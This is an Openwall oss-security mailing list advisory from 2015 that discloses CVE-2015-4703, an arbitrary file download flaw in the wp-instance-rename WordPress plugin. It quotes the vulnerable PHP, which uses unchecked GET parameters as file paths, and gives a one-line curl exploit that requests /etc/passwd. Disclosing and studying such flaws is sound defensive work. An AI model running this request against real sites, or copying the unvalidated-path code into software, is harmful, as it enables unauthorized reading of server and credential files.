Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 23 Jun 2015 16:08:55 -0400
From: "Larry W. Cashdollar" <>
To: Open Source Security <>
Subject: Arbitrary File download in wordpress plugin wp-instance-rename v1.0

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site:
Vendor: Vlajo
Vendor Notified: 2015-06-12
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page.
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:

	$dbname   = $_GET["dbname"];
	$dumpfname = $_GET["dumpfname"];
	$backup_folder = $_GET["backup_folder"];	
}catch (Exception $e){}

echo "$dumpfname";
if (file_exists($dumpfname)) {		
	// zip the dump file	
	$name=$dbname . "_" . date("Y-m-d");	
	$zipfname = $backup_folder.$name.".zip";
	$zip = new ZipArchive();	
	// read zip file and send it to standard output
	if (file_exists($zipfname)) {
		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename='.basename($zipfname));

CVEID: 2015-4703
Exploit Code:
	• curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." -o 

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.